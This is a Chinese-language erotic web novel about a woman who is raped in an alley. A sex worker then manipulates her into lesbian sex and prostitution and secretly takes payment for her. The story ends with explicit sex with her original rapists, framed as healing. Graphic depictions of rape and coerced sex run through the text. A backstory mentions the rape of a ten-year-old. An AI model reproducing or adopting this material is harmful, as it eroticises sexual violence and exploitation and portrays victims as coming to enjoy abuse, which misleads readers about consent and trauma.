图片载入中

圣女沉沦记

特大字】 【大字】 【中字】 【小字

圣女沉沦记

字数:1.3万

李丽薇愁眉深锁、失魂落魄地漫步在一条暗黑的巷道内。

原本今晚可以快快乐乐地和男友游正德共度他二十五岁的生日的,没想到竟会落得如此收场。

李丽薇是一个相当美丽迷人的女人,从高中时代便不乏男人的追求。

游正德经过了长久的追求,终于击败众情敌,搏得美人的欢心。

这三年来,两人的感情一直相当的稳定,但由于李丽薇还是有很多的追求者,游正德哪里放心得下?

所以便说服了她,和他同居在一起,甚至也找到同一家公司工作。

当然,这三年来,游正德常常向李丽薇提出性的需求,但李丽薇虽然不是个相当保守的人,却一直不愿让游正德突破最后一道防线。

因为她始终认为能够在洞房花烛夜把处女之身献给老公,这样的献身才有意义。

因此纵使游正德软硬兼施、死缠烂打,顶多也只能达到三垒打的境界。

为此游正德对于李丽薇这种迂腐的观念,始终感到头痛。

今天是游正德二十五岁的生日,游正德精心设计了一顿精致的烛光晚餐,俩人果然在花前月下,两情绻缱。

游正德趁此良机,开始为李丽薇宽衣解带,希望今天晚上能够达成他生日的愿望。

游正德一面深吻着李丽薇,一面脱去她套装的上衣,露出光滑白皙的肌肤。

李丽薇“嘤咛”一声,深情地回吻着。

游正德心花怒放,脱下了她的迷你裙和高跟鞋,李丽薇身上仅剩下胸罩和内裤了。

游正德舔着李丽薇的耳朵,伸手解开了她的胸罩,露出了丰满圆润的乳房。

李丽薇紧闭双眼,双手想要推开他,可是又受不了游正德的舔吻,游正德一边揉捏着她的乳房,一边开始拉下她的内裤。

“啊……”

不要李丽薇低吟着。

游正德不停地捻捏着她的乳头,另一只手也开始抚摸着她的阴唇和阴核。

“哦……”

李丽薇感到一股电流直冲脑际,不禁仰起头发出甜美的哼声。

不多久,游正德感到李丽薇的阴户已经渐渐湿润了,于是他立刻拉下裤裆的拉链,掏出了硬梆梆的肉棒,龟头抵向她的阴户。

李丽薇感到一阵错愕,急忙挣扎着身体,娇嚷着:“正德!不要这样!不可以!”

游正德箭在弦上,哪里肯停?

急忙抱紧李丽薇赤裸的娇躯,在她耳边低声道:“薇,给我吧!我保证绝对不会辜负你的!”

龟头即刻向前压去。

李丽薇惊叫一声:“我不要嘛!”

拼命挣扎想脱离他的怀抱,可是她越是挣扎,游正德就越加抱紧,龟头不顾一切地插进去。

李丽薇尖叫一声,也不知从哪里生出的力气,双手用力把游正德推开,接着“啪”的一声巨响,赏了游正德好大一个耳光。

游正德着痛颊,悻悻地瞪着李丽薇。

李丽薇身体缩在一起,怯怯地说:“正德,不要这样子……”

游正德咬紧牙关,恨恨地说:“今天是我的生日,难道都不能达成我的愿望吗?”

李丽薇用手遮着乳房和下体,羞红着脸说:“你是知道我的原则的,不是吗?”

游正德生气地大吼:“反正我一定会娶你的!干嘛一定要等到结婚那一天?简直是笑死人了!”

李丽薇眼中泛着泪光说:“对不起,这是我唯一的坚持,你如果爱我,就不要勉强我。好吗?”

在一起三年了,却一直不能得到她的身体,游正德越想越气,大叫一声,立即反身夺门而出。

此时李丽薇再也按耐不住,泪水终于溃决而出。

已经三个小时了,游正德始终没有回来,李丽薇望着墙上的时钟。

“半夜两点了,正德怎么还不回来?”

李丽薇越来越担心游正德的安危。

犹豫了一下,于是披上了衣服出去。

四处找寻了很久,依然找不到游正德。

李丽薇心中十分焦虑,心中一直想着他有可能会去哪里,不知不觉走进了这条暗黑的巷道。

突然间一双强壮的手臂从后面把李丽薇紧紧地抱住,李丽薇大吃一惊,全身拼命挣扎,却一点也动弹不得。

想叫出声音,却又被后面那人住嘴巴。

只听到背后那男人淫猥地说:“嘿……大美人,我跟踪你好久了,你在找男人干你是吗?让我们来为你服务吧!保证干的你爽歪歪的……”

李丽薇惊恐到了极点,极力挣扎想摆脱纠缠。

“你这个大美人的身体软绵绵的,而且香!”

“嘿嘿……让我看看你的鸡巴是不是想要了!”

不知何时冒出了另一个男人,在李丽薇的前面蹲下撩起裙子。

“啊!不要啊!”

因为被男人抱紧又住嘴巴,李丽薇只能扭动屁股挣扎。

“哦,穿的是半透明的三角裤耶!鸡巴快看到了!”

前面那男人从三角裤上抚摸花园,发出很大的声音。

“快脱下三角裤吧!我想快一点干她!”

背后那男人不断催促。

前面那人淫笑一声,伸手拉到三角裤的蕾丝边。

“不要!不要哇!”

李丽薇心中呐喊着拼命挣扎。

前面那人用力一扯,立即把三角裤撕裂开来。

看到了黝黑的阴毛及粉红色的阴部,前面那男人不禁发出了淫猥的惊唿声。

后面那男人也立即扯下了李丽薇的胸罩,粗野地揉捏着那一对丰满的乳房。

李丽薇又羞又惊,尖声大叫。

后面那人吓了一跳,立即又住她的嘴巴,向前面那男人说:“快!速战速决!”

前面那男人一手抬起了她的左腿,另一手解开自己的裤裆,露出了粗红的肉棒。

李丽薇吓得不断流泪,却又叫不出声,只能拼命挣扎。

前面那男人用龟头抵住李丽薇的阴部,用力一挺。

李丽薇只感到阴部一阵剧痛。

前面那男人边抽插着,边喘气说:“哇!好紧!从没干过这么紧的女人,一定是处女错不了!”

后面那男人一听,不禁大叫:“什么?处女?操你妈的!被你赚到了!”

气不过,便又开始揉捏着她的乳房。

李丽薇痛得快晕眩过去,但是那男人始终不停止他的动作,想要叫出声音,却觉得自己已经痛得没气力了。

“哇!好爽!好爽!”

那男人口中不断低嚷着,肉棒依然抽插不停。

过没多久,那男人一声低吼,一阵阵的精液直喷入李丽薇的阴道里。

后面那男人急着说:“快换手!快换手!”

前面那男人无力地抽出肉棒,看到李丽薇的阴部流着阴血,便说:“这个女人果然是处女!”

后面那男人一把将李丽薇推在地上,抱起她雪白的屁股,勃起已久的肉棒猛然从后面插进她的肉洞中。

“啊!”

李丽薇痛苦地叫了一声,整个脸埋在地上,赤裸裸的娇躯任由那男人为所欲为。

前面那男人意犹未尽,抓住李丽薇的长发,一把将她的脸蛋拉起,淫笑着说:“帮我舔一舔吧!”

李丽薇痛苦地猛摇头,但那男人不知怜香惜玉,将她的嘴巴硬生生扳开来,刚射过精的肉棒又插入了她的口中。

李丽薇前后都被插入肉棒,身心都觉得痛苦难当,全身被干得一点力气也没有,只能无助地流着眼泪,任由两名恶徒的摆布。

正当两名恶徒抽插得如痴如醉之时,突然有一个身影兀立在黑暗的巷道中,大叫:“好啊!我是警察,我在这里等你们好久了!通通不许动!”

那两个男人不由得大吃一惊,连裤子也来不及穿,连忙连滚带爬地逃之夭夭了。

李丽薇赤裸着娇躯,横陈在这条黑暗的巷道内,伤心的泪水流个不停。

一辈子守身如玉,没想到最后竟把贞操断送在这两个男人手中,早知如此,今晚把处女给男友不就得了?

李丽薇越想越难过,终于忍不住大哭了起来。

朦胧的泪眼中,只见一个女人的脸孔靠向自己,关心地问:“小姐,你还好吗?”

“我……我……”

李丽薇抽搐着说不出话来。

那个女人看一看李丽薇,叹说:“好可惜,像你这么标致的女人,就这样被两个臭男人踏了,如果你想报警的话,我可以送你去。”

李丽薇垂泪问说:“你……你不就是警察吗?”

那女人哈哈笑说:“我是警察?别逗了!我可是天生八字和警察相克呢!

刚刚我自称是警察,是想吓跑那两个臭男人而已。“

那女人看了李丽薇一眼,说:“不然这样吧!你住哪里?我先送你回去好了。”

李丽薇痛苦地点点头,那女人便脱下身上的外衣让她穿上,扶着李丽薇一步一步走回家。

到了灯光稍亮的地方,李丽薇才看清楚那女人的样子。

她是个身材高挑的女人,泄了一头深褐色的头发,年纪大概比李丽薇大个几岁。

最特别的是她化了一个相当妖艳的浓妆,一看便知道是一名风尘女子。

李丽薇突然看到了她的妆扮,似乎有点愣住了,与她妖媚的目光相接,才又红着脸低下头去。

那个女人哈哈笑着说:“我知道你心里面在想什么,你想,我是不是妓女,对不对?”

“不!没有!”

李丽薇拼命摇头否认。

那女人笑着说:“都脸红了还不承认?没关系啦!我本来就是个妓女。”

“哦。”

李丽薇心虚地应了一声。

那女人说:“像你这种正经的女人,可能瞧不起我们这种女人,不过呢,大家都是靠劳力来赚钱,我也不会觉得有什么好丢脸的!”

坦白说,李丽薇对这种风尘女子,一向没什么好感,纵使这次被这种女人救了一次,但心中难免有些疙瘩,再加上自己被强奸了,心情难过之下,也就不想多说什么话。

那女人见李丽薇不想说话,低笑了一下,也就不再多说什么话,默默地扶着李丽薇走着。

好在李丽薇的家就在附近,没过多久便到了住处。

那女人望了望房子的外观后,笑着说“送你到家罗!自己好好保重吧!”

“谢谢你。”

李丽薇低声着说。

那女人说:“别客气!都是女人嘛,本就该互相帮忙。”

望了李丽薇一眼,说:“我叫施窈窕,我想,像我这种女人,你大概也不会想认识吧?总之,后会”无“期吧!”

说完,向李丽薇挥挥手潇洒地离开了。

当游正德知道李丽薇被强奸了,不禁感到又惊又怒,本想报警处理,但想到可能会再受到二度伤害,终于还是忍住不打算报警。

但这次的巨变,让两人的身心都受到了极大的伤害。

尤其是李丽薇个性变得郁郁寡欢,眉头不时深锁,也变得十分沉默。

原本无所不谈的一对情侣,也变得越来越沉寂,常常共处一室几个小时,却说不到几句话。

游正德相当清楚,这是李丽薇的过渡时期,他也很想帮助她远离伤痛,但他纵使主动和李丽薇说话,她却常常用沉默或低泣来回应,日子久了以后,游正德也觉得快被李丽薇逼疯了。

为了不一天二十四小时都看到李丽薇的扑克脸,为了让自己有喘气的空间,游正德原本内勤的办公室工作,便请调担任外务员。

李丽薇也明白游正德的用意,她也很希望能早日脱离阴霾,但一想到那天晚上的可怕遭遇,李丽薇根本就控制不住自己情绪,常常一个人暗自哭泣或发呆。

事情已经过了三个月了,李丽薇始终无法脱离阴霾,而游正德担任外务的工作,似乎挺顺手的,几乎忙得一整天都不会进办公室,甚至都很晚才会回家,而那时李丽薇也常常在啜泣中睡着了。

两人明明同居在一起,却似乎有好一段时间没有机会碰在一起了。

这天,李丽薇心中感到格外地郁闷,好想找个人聊聊,却不知找谁才好,于是到了下午,便提早请了个假回家。

才刚走到家门口,便看到门前除了游正德的鞋子外,还有一双亮红色的高跟鞋。

“奇怪?这个时候,正德怎么会在家?还有,这双高跟鞋是谁的?”

李丽薇心中感到十分疑惑,便压低声音拿了钥匙开门进去。

房门半掩,门内传出男子的呻吟声。

李丽薇心中大疑,低声走了过去,由门缝朝房内一看,竟看到了一个令李丽薇气绝的画面。

只看到床上有一对精赤条条的男女,男的坐在床上,让女的含着他高耸的肉棒,那女人卖力地吞吐着男人的龟头,不时娇媚地抬头看着那男人陶醉其中的表情。

“怎……怎么会这样?”

李丽薇看到了这一幕活色生香的画面,差一点要晕眩过去。

那名男子不正是游正德吗?

李丽薇的心情由惊恐转为愤怒,由愤怒又转为悲伤,想要冲上前去喝止,但两脚想走却似乎一步也走不动,张嘴想喊也喊不出声音。

那女人舔肉棒舔得正过瘾,突然不经意地向门缝望过来,看到有个女人的身影,吃了一惊,这才停止了动作,随口叫了声:“是谁在那边?”

李丽薇吓了一跳,不假思索地立刻拔腿就跑。

跑了好一阵子,越想越伤心,终于忍不住内心的伤痛,“哇”地一声痛哭了起来。

一路上边跑边哭,也顾不得路人的侧目。

也不知过了多久,才停止了脚步,但是泪水始终流个不停。

突然间觉得好疲倦,好想好好地睡一觉,最好一睡不起,什么事都可以忘记了。

脱着疲惫的脚步,望着已渐西沉的夕阳,李丽薇虽然有家,却不敢也不愿回去。

她不想再看到那一幕肮脏龌龊的画面,于是便走进了一家小旅社投宿了。

在女服务生的带领下,她来到了一间小房间。

将房间的门锁锁住,她将身上的外衣裙脱去时,想到几个小时前那一幕,心中悲痛之下,不禁又垂下泪来。

在身心俱疲之下,没多久便不知不觉睡着了。

可是没多久,她被隔壁房的说话声给吵醒了。

这家旅社的房间是用木板隔间的,且顶上并未完全密封,所以只要隔壁有声响,另外两间就可以听到。

李丽薇所住的这间是最后一间,谈话声是从前面的那一间所传来。

“糟糕!警察怎么突然来临检了?怎么办?”

一个女人惊恐的说话声。

“什么?警察来了?”

男人也紧张了起来。

“怎么办?我又不能冲下楼去”女人焦急地说。

“不能下楼,那只好到后面那间房间去躲一下!”

男人说。

李丽薇一听到是要到她这儿来避难,心中也急了起来。

过不久,门外果然传来急促的敲门声。

李丽薇犹豫片刻,终于还是去把门打开了。

女人一闪就进了房间内,依靠在门边喘着气。

“啊!你……你是……”

施李丽薇一见到这个女人,立即认出她就是施窈窕。

施窈窕惊魂未甫地望了李丽薇一眼,也认出了李丽薇:“哦!原来是你!”

从门上听到没有了脚步声,这才喘了一口气,说:“看来这些吃饱没事干的警察离开了,好险好险!”

望了李丽薇一眼,淡淡地说:“这次谢谢你了!上次我救你一次,这次你救我一次,咱们谁也不欠谁罗!”

说了声“拜拜”正要离开时,李丽薇突然说:“施……施……嗯,施小姐……”

施窈窕微笑道:“我叫”施窈窕“,你忘记了对不对?”

李丽薇红着脸说:“对不起,上次认识得太匆促了,有点记不住……”

施窈窕淡笑说:“没关系,没人会想知道妓女叫什么名字的。”

李丽薇急着说:“我没有那个意思!对不起!”

施窈窕见李丽薇说话诚恳,便笑着说:“好,我知道,我逗你的!这种小旅社常常暗藏春色,你是个正经的女人,小心别被误认是妓女了。拜拜!”

李丽薇见施窈窕要开门出去,突然脱口说:“你……你陪我聊聊好不好?”

若在平常,李丽薇是不可能会和风尘女子打交道的,但是现在却很渴望着找个人说说话。

施窈窕微笑说:“你看来心事重重的……好吧!我陪你聊聊吧!”

于是两人便相偕到附近一家咖啡厅去,才刚坐下,李丽薇便忍不住心中的苦闷,流着泪细细道着这几个月来的苦。

施窈窕也是个称职的听众,专注地听着李丽薇的心事,并且给予适时的安慰和鼓励。

李丽薇如同遇上了难得的知己,巨细靡遗地倾吐着女人的心事。

讲到贞操被毁的事,更是泪如雨下。

施窈窕温和地安慰着李丽薇,向空中叹了口气说:“你知道我什么时候毁了贞操吗?”

李丽薇含着眼泪摇摇头。

施窈窕黯然着说:“十岁那年,我继父趁我老妈不在,把我强奸了。”

“啊……”

李丽薇不禁轻叹一声。

施窈窕说:“后来,继父又强奸了我好几次,害得我根本就不敢回家,只好留落在外……”

“我本来想,只要我有一双手,自己一个人也可以自立更生,没想到……”

“没想到,世界上的男人居然都那么坏,我到一家公司去应征,那里的老板见我年幼可欺,居然在饮料里放了安眠药,把我迷倒后强奸了我,又威胁我要当他的性奴隶,否则就要把我卖到泰国去卖淫,就这样,我当了他三年的性奴隶………”

“啊!真是太可恶了!”

李丽薇为施窈窕的遭遇感到不平:“当时你应该报警的……”

施窈窕苦笑着说:“没用的!他有钱有势,警察都和他有挂勾!坦白说,那段时间我被好几个警察当玩物玩弄呢!”

“哦!”

李丽薇听到了这么黑暗的一面,想到施窈窕当时所受的苦,忍不住垂下泪来:“当时都没有人肯救你吗?”

“救?哼!男人都把我当玩具玩弄我,怎会肯救我?我是被玩腻了,他们才放我自由的。”

“真是太可怕了!”

和施窈窕的遭遇比起来,李丽薇觉得自己的苦,根本就不算什么了,她开始同情起施窈窕,关心地问:“那后来呢?”

“后来?”

施窈窕苦笑着:“我一个女孩子家,也没有一技之长,家也不敢回,唯一比较行的,就是这三年来学到取悦男人的性技巧,所以,只好当妓女了……”

“唉……”

李丽薇和施窈窕对望一眼,两人的心中都流露着相同的感慨。

施窈窕笑着说:“和你聊了这么久,还不晓得你的芳名呢!”

李丽薇说:“啊!对不起,我叫”李丽薇“,你叫我小薇就可以了。”

“小薇……”

施窈窕笑着说:“很高兴和你聊天,都快三更半夜了,我送你回去吧!”

李丽薇顿时转为愁容:“我……我还不想回去……”

施窈窕望了她一眼,说:“好吧!不然到我家里坐坐如何?”

李丽薇不禁高兴地点点头。

于是两人结了帐,叫了辆计程车而去。

施窈窕住在一栋大厦的十五楼,一间小套房装潢得很精致很漂亮。

两人在咖啡厅聊开后,感情迅速地提升,洗过澡后便一起躺在床上聊个不停,一直到了即将天亮,两人才迷迷煳煳地睡去。

当李丽薇醒来时,已是下午两点多了,施窈窕不知去了哪里,只在梳妆台上贴了张纸条,上面写着:

“小薇:

见你睡得很熟,不好意思叫醒你。我出去工作了,浴室里有新的牙刷毛巾让你使用,冰箱里的食物可微波来吃。如果觉得无聊的话,柜子里有杂志和录影带让你打发时间,等我回来哦!

窈窕姐留”

李丽薇会心地微微一笑,梳洗完毕后,便把冰箱中的餐食放入微波炉中,拿起遥控器打开电视,转来转去没有一个好看的频道,便打开柜子想看看有什么杂志或录影带。

只见柜子里排了一整排没有标示片名的录影带,旁边也堆了一整叠杂志。

李丽薇顺手拿出最上面的一本出来,竟看到封面上印有两个全身赤裸的金发美女吐舌接吻的煽情画面。

李丽薇顿时双颊绯红:“怎……怎么是这种杂志?”

翻开杂志,只见里面尽是女人互相爱辅亲吻的色情画面,丰乳阴部,尽露无遗。

李丽薇感到一阵燥热,又拿起另一本杂志翻阅,这次没有图片只有文字,但她一字一句详读,却发现尽是不堪入目的色情描述。

李丽薇喘了一口大气,红着脸一本本地随意翻看,这才发现每一本都是色情杂志,尽是不堪入目的图片、写真、小说或漫画,看得李丽薇心头又羞又痒。

“窈窕姐怎么都看这种不营养的书呢?”

把杂志放回原位,这时微波炉发出“铛”的一声,李丽薇取出食物,又拿出一卷录影带放入录影机中:“看看有什么好看的片子吧!”

李丽薇坐在床上边吃边看,只见电视萤幕上,一个浓妆艳抹的女人,正在帮一个男人口交,发出“啧啧”的声音。

李丽薇“啊”地惊叫一声,口中的食物差点喷出。

害羞地把视线再移到电视画面,这时这对男女已经全身脱光,打起肉搏战来了。

女人如痴如醉地呻吟着,叫得李丽薇心里头痒痒的,觉得下体似乎流出了湿湿的黏液。

李丽薇看了几分钟后,红着脸取出了录影带:“怎么都是色情的东西?”

吞了吞口水,又看了看其他一整排的录影带:“应该……应该有比较正常的带子吧?”

于是便又放入了第二卷录影带。

果不其然,第二卷带子也是淫秽的内容,李丽薇陆续再放第三卷、第四卷……

施窈窕到了晚上十点多才回到家,用钥匙开门进去,便看到床上放了一堆或开或阖的色情杂志,而李丽薇全身赤裸,娇躯横陈,两手分别贴在自己的乳房及阴部上,一脸倦容地唿唿大睡。

看到李丽薇雪白光滑的肌肤,修长匀称的双腿及体态撩人的睡姿,施窈窕吃吃笑着,关上门,立即脱下了全身的衣物,然后上床去轻轻移开她遮住阴部的手,双唇贴在她的大腿根上吻着湿湿的花瓣。

施窈窕的舌头轻巧地卷舔着李丽薇的阴唇,没多久,李丽薇发出呻吟声后,渐渐睁开了双眼。

施窈窕吃吃笑着把脸贴过来:“让姐姐好好地爱你吧……”把自己的嘴贴在李丽薇的嘴唇上。

“啊……窈窕姐,不可以这样……”

李丽薇闭着眼睛轻轻摇头。

施窈窕一面抚摸李丽薇的乳房,又把她樱桃般的乳头含在嘴里。

李丽薇的身体微微颤抖,从半启的嘴里发出甜美的哼声。

“小薇……舒服吗?”

李丽薇轻轻点头,被同性爱抚,还是生平第一次。

在色情杂志上看到同性恋的画面,心里就很难相信会有这种事情,没想到自己现在却正在进行同性恋。

“啊……啊……唔……”

被舔到敏感的肉芽时,李丽薇的上半身用力向后挺,随着甜美的哼声,闭合的肉缝逐渐开启。

“啊……啊……啊……”

施窈窕的舌头巧妙地从肉芽到肉缝来回爱抚几次后,李丽薇忍不住发出浪叫声。

“小薇的这里太美了……”

每当施窈窕的舌头巧妙地活动时,李丽薇的乳房便随之起伏,发出啜泣般的声音。

“小薇,我们一起来吧……”

施窈窕骑在李丽薇的脸上,采六九的姿势。

“啊……窈窕姐……”

李丽薇伸出舌头,在肉缝上爱抚。

“啊……啊……啊……”

施窈窕仰起头,但立刻又用力吻就在眼前的湿淋淋的花瓣。

两个人同时像着迷似地一味口交,把一切的不安和矜持完全抛诸脑后了。

缠绵了许久,两个人紧紧地抱在一起。

施窈窕依然化着浓妆的脸蛋不断地摩擦着李丽薇的脸蛋。

李丽薇在施窈窕的带领下,达到了三次的高潮,但心中却有着无比的不安。

“窈……窈窕姐,我们这种行为正常吗?”

施窈窕爱抚着李丽薇的乳房,笑着说:“在我看来,同性恋最正常不过了,只有女人和女人,才能真正的相亲相爱,男人只会欺负女人、玩弄女人罢了……”

“可是……”

李丽薇低声说:“正德他一直对我很好的……”

施窈窕轻笑着说:“对你好,却为什么在你最低潮的时候,不愿陪你走过来?对你好,又为什么要背着你和别的女人乱搞呢?男人啊,只要一把女人弄到手,原形就毕露了!”

李丽薇听得心中一阵难过,忍不住又垂下泪来。

施窈窕舔着李丽薇的泪水,低声说:“小薇,你这就住下来吧!别再让那臭男人欺负你了……”

李丽薇犹豫着说:“可是,正德他不会答应的。”

施窈窕说:“干么要他同意?你不要再回去,他也找不到你的。”

李丽薇摇头说:“行不通的!我和他是在同一家公司工作,还是见得到面的!”

施窈窕在她耳边低声说:“别去工作了,你就乖乖留下来,让我养你吧!”

李丽薇红着脸说:“这……这怎么可能嘛!要人家不上班让你养?太荒谬了啦……”

施窈窕念头一转说:“不然……你跟我一起工作不就好了?”

李丽薇一听,不禁跳了起来:“不!我不可能做那种事的!打死也不干!”

施窈窕说:“我只是建议而已,你干么那么激动?原来……你一直瞧不起我这个当妓女的女人!”

李丽薇急着说:“不!我没有这个意思!我……我只是不想当妓女……”说着不禁哭了起来。

“好,乖!别哭了!这件事以后再说,反正你就先给我住下来就是了!”

拉着李丽薇的手说:“走!我们去洗澡吧!”

两个女人便光着身体走进了浴室,过不久,便从浴室中传出了李丽薇的浪叫声……

于是,李丽薇就这样和施窈窕同居在一起,过着同性恋的生活。

施窈窕为了要开发李丽薇的性观念,不但常常一起搞同性恋,又给她灌输了很多淫乱的思想。

一开始施窈窕出去上班后,会要求李丽薇在家,仔细地阅读那些色情杂志和录影带,还要她从里面去学习性爱的技巧。

李丽薇从杂志和录影带,以及施窈窕的教导之下,不但学到了很多同性恋的姿势和技巧,施窈窕更会戴上假阳具,要李丽薇学习如何帮男人口交及做爱的技巧。

她又灌输李丽薇“和男人做爱是在玩弄男人、报复男人”的观念,完全推翻了李丽薇原来的贞操观。

过了不久,施窈窕便开始每天为李丽薇化上妖艳淫靡的浓妆,然后带她一起去工作。

每当她和嫖客做爱时,会要求她在一旁实际观摩学习如何“玩弄男人”。

到了后来,她便开始要求李丽薇也得加入玩弄男人的行列。

施窈窕会带领李丽薇,一起在公园里勾引高中生或业务员,舔他们的肉棒,吃下精液或把精液射在脸上,甚至让男人把勃起的肉棒插进肉洞中射进精液。

施窈窕见李丽薇学习得差不多了,便要李丽薇开始自己应付男人。

她要求李丽薇一定要化浓妆、穿着暴露去勾引好色的男人,无条件地让男人奸淫,藉以达到“玩弄男人”的目的。

办完事后,施窈窕便会背着李丽薇,向这些男人索取交易费。

由于李丽薇长得实在很漂亮,身材又棒,而且服务的品质又好,男人都很愿意在办完事后把钱给施窈窕,甚至会问施窈窕明天李丽薇会在哪里出没,然后再去奸淫李丽薇。

施窈窕便靠着李丽薇的肉体,收取了白花花的钞票,而李丽薇也在施窈窕淫荡的性观念教导下,迷迷煳煳地当了妓女而不自知。

有一天半夜,两个女人边在床上搞同性恋,边看新租来的色情录影带。

施窈窕看到片中女主角同时被两个男人奸淫的画面,突发奇想说:“小薇,看到没有?你也可以像她这样,一次玩两个男人啊!”

正被施窈窕舔肉芽的李丽薇,呻吟说:“不……不要啦!人家不敢……”

施窈窕冷冷地说:“越是不敢,就越要突破啊!而且你别忘了,你第一次的性经验,就是同时被两个男人奸淫啊!不是吗?”

说到李丽薇的伤痛处,她不禁颤了一下。

“在哪边跌倒的,就在哪边爬起来!去试试看!窈窕姐相信这次你一定能走出被强奸的阴霾的!”

李丽薇根本没有反对的权利,施窈窕便开始帮李丽薇上妆。

粉饼厚厚地抹在脸上,搽上红得发亮的唇膏,涂上深蓝色的眼影,十足的妖媚淫荡。

再穿上完全透明的黑色胸罩、内裤和吊带袜,李丽薇简直就变成了一个淫荡的妓女。

施窈窕很满意李丽薇这次的妆扮。

在施窈窕的催促之下,李丽薇穿上了十分暴露的衣裙和高跟鞋,开始出去勾引男人。

为了要李丽薇从跌倒中站起来,施窈窕要求她一定要去当初被强奸的地方寻找猎物。

李丽薇来到了当初这条黑暗的巷道,心中还是有些许的恐惧:“就是这里!改变了我一生的地方……”

犹豫了好一阵子,李丽薇还是决定走进了巷道之中。

巷道内异常地安静,只听得到李丽薇高跟鞋踩在路上的声响。

李丽薇怀着忐忑不安的心情慢慢地走着。

才刚走了几十米,只见前方出现了一个黑影:“嘿嘿!好辣的女人啊!

今天真是赚到了!“

“嘿嘿……今晚可以玩这个辣妹,真是太棒了!”

李丽薇听到后面又传出另一个男人的说话声。

两个男人,把李丽薇前后挡住了路,李丽薇心中虽然害怕,却也没有叫出声音。

前面那男人说:“虽然这里蛮暗的,但我可以看出你穿得有够淫荡,你是妓女吗?还是一个想要男人干你的小荡妇呢?”

李丽薇虽然害怕,但还是低声说:“我……我不是妓女……”

“那么……你是想要男人干你的小荡妇罗?嘿嘿嘿……”

后面那个男人淫笑着。

李丽薇面对两个色狼的言语挑逗,只能低头不语。

两个男人见李丽薇对于自己的言词挑逗毫不抗拒,更是心花怒放,便开始大胆地去抚摸她的乳房和阴部。

李丽薇低头咬着唇,忍受着两个男人在自己身上乱摸。

男人见李丽薇毫不反抗,于是更加大胆地探入胸罩和内裤中揉捏着乳房和阴唇,并在李丽薇耳边说些猥亵的话。

李丽薇在两个男人的猥亵之下,开始有了性感,并且发出呻吟声。

这两个男人本想在暗巷中强奸李丽薇,但既然她如此乖巧合作,他们便决定到亮一点的巷口去,可以一边奸淫她,一边看她淫荡的模样。

于是两个男人一左一右边扶着李丽薇走向巷口,边在她身上尽情地猥亵,并且强迫李丽薇和他们做淫秽的交谈。

“同时玩弄你的阴唇和阴核,是不是很舒服?”

“是……是……”

“你是不是很想舔我们的龟头呢?”

“我……我很想……”

“那你会不会吃下我们的精液呢?”

“我……我会吃的……”

“吃?吃什么?你要说出完整的话,否则我们可不给你哦!”

“我……我会吃下你们的精液的……”

“还要舔哪里?”

“舔……哦……舔你们的龟头……”

就这样边逼李丽薇说出淫荡的话,边猥亵着她走到巷口。

巷口有微光,两个男人看到李丽薇妖艳淫荡的化妆和性感暴露的穿着后,不觉惊叹。

“哇!好淫荡的打扮!”

“又骚又漂亮的女人……真是赚到了!”

“没错!以前在这里干到了一个处女,现在可以干到这种淫荡美女,都是赚到了!”

两个男人七手八脚地脱下她的胸罩和内裤,只留下吊带袜,使她看起来更加淫荡,然后拼命地搓揉着她的乳房和挖弄湿淋淋的肉洞。

李丽薇虽然正被猥亵着,但心中却十分震惊。

因为她刚刚听到了他们说的一句话:“以前在这里干到了一个处女”。

李丽薇心中大为震惊:“这两个男人……原来当时强奸我、夺走我处女的,就是这两个男人……”

李丽薇开始挣扎了起来。

但是李丽薇之前淫荡的行为,让两个男人以为李丽薇的挣扎只不过是在助性,于是更加兴奋地玩弄她的肉体,并且拼命地狂吻着她的嘴唇和脸蛋。

李丽薇无法抗拒,也不能喊出声,全身又被猥亵快感连连之下,终于停止了反抗:“哪边跌倒的,就从哪边站起来。”

想通了这点,李丽薇便开始发出甜美的哼声,并且回吻男人的唇。

两个男人立即脱下裤子,露出了高耸的肉棒。

一人用龟头在她的花瓣上摩擦,另一人用肉棒拍打她化了妖艳浓妆的脸颊。

“淫荡的母狗!这样给你摩擦很舒服吧?”

龟头顺着花瓣上下移动。

“啊……啊……好……太好了……”

“小母狗,这个舒服的地方叫什么?”

“是阴户……是我的阴户……啊……好……”

李丽薇不由得扭动屁股。

“小母狗想要我的大鸡巴吗?”

男人的声音因兴奋而沙哑。

“想要……想要你的阴茎……”

两人一人搓揉一个乳房:“想要的话,就说:”求求你快把大鸡巴插入我小母狗的阴户里吧!“

“求求你们……我快忍不住了……”

李丽薇说到这里,做一下深唿吸,以性感的声音哀求:“求求你……把你粗大的鸡巴插入我小母狗的阴户里吧!啊……唔……”

“要插进去了!小母狗,我要插进去了……”

男人发出野兽般的吼声,肉棒插入李丽薇湿淋淋的阴户里。

“啊……啊……啊……好……”

在被插入的刹那,李丽薇觉得自己的性欲快速提升,虽然是短暂的瞬间,类似感动的心情掠过李丽薇的脑海中。

“淫荡的小母狗!好好舔吧!”

另一个男人抓住李丽薇的头发,拉起她化了浓妆的脸蛋,将阴茎插入李丽薇涂上妖艳唇膏的嘴里。

“啊……唔……”

李丽薇痛苦地发出声,但立刻张开嘴唇将肉棒含进去。

“小母狗,这样被我们同时玩弄有什么感觉呢?”

那男人让李丽薇快速地吞吐着自己的肉棒。

“唔……唔……唔……”

李丽薇的嘴快速动作。

另一个男人吼叫着,粗暴地猛烈抽插。

湿淋淋的黏膜缠绕在阴茎上,拔出插进、插进拔出,将李丽薇的性感逐渐推上绝顶。

“啊……啊……”

李丽薇淫荡地扭动着屁股,红唇和舌头也拼命地舔弄着另一根肉棒,强烈的快感使得李丽薇忍不住发出性感的啜泣声,尽情地发挥着和施窈窕学到的性爱技巧。

“啊……喔……唔……”

后面那男人的屁股猛烈旋转,发出野兽般的吼叫声,精液向李丽薇的子宫喷射。

“啊……啊……啊……”

甜美的快感从子宫传达脑顶,然后又折回子宫。

“唔……啊……”

李丽薇就这样不断地发出淫荡的啜泣声。

“啊……我也忍不住了!你的嘴要快一点!”

听到前面那男人的命令,李丽薇加快吞吐的速度。

“啊……我要射了……”

前面男人仰起了上身,龟头喷出的精液在李丽薇的嘴里喷射出来后,又射向她浓妆的粉颊和额头上。

两个男人看到精液在李丽薇脸上慢慢流动的淫荡模样,皆兴奋地要求李丽薇将龟头上残留的精液舔干净。

在微弱的灯光照射下,穿着吊带袜,化着浓妆,满脸精液的淫荡女人,正握住两人的肉棒,专心地舔着两人龟头上的精液吞下去。

这时远远一个男人走来,看到巷口微光下这种场景,不禁失声说:“啊!

你们在干什么?“

李丽薇一听到说话声,心中突然大震了一下,急忙吐出口中的肉棒,叫着说:“啊!是正德!是你吗?”

那个男人听了,也大感震惊:“这……是小薇的声音……小薇……”

